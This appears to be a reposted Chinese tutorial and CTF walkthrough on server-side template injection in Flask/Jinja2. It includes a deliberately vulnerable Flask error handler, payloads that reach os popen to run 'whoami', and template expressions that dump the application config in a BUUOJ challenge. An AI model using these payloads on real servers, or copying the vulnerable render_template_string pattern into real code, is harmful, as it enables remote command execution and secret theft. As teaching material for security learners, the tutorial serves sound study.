0x00 什么是SSTI模板注入?
1. SSTI模板注入(Server-Side Template Injection),通过与服务端模板的 输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。
2.造成的原因与利用条件:网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模板可以给人不同的视觉感受,但是当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,针对大多数脚本类型均存在该注入。常见为python的CTF考点较多
3.危害有哪些?可造成文件读取,命令执行,代码执行等 paylaod解析参考:
0x01 案例理解SSTI
SSTI注入涉及到的敏感函数词组:flask render_template_string
Python案例:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s获取404_url参数下列字段内容,从而输入可控变量注入
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
可被python脚本执行,存在注入通过payload类型,可RCE进行文件的读取与对本机等操作等
os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF案例
https://buuoj.cn/题目页面:
构造2-2执行,说明存在ssti注入执行
查看所有的全局变量,参考全局变量
利用全局变量获取当前应用下面的config值
url_for()函数是用于构建操作指定函数的URL get_flashed_messages()函数是获取传递过来的数据
获取全局变量
/shrine/{{url_for.__globals__}}
或
/shrine/{{get_flashed_messages.__globals__}}
利当前的全局变量读取:
/shrine/{{url_for.__globals__['current_app'].config}}
或
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
关注及时推送最新安全威胁资讯!
「由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,EXP 与 POC 仅仅只供对已授权的目标使用测试,对未授权目标的测试本文库不承担责任,均由本人自行承担。本文库中的漏洞均为公开的漏洞收集,若文库中的漏洞出现敏感内容产生了部分影响,请及时联系作者删除漏洞,望师傅们谅解」
原文始发于微信公众号(小艾搞安全):小白必看!SSTI模板注入讲解与真题实操
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论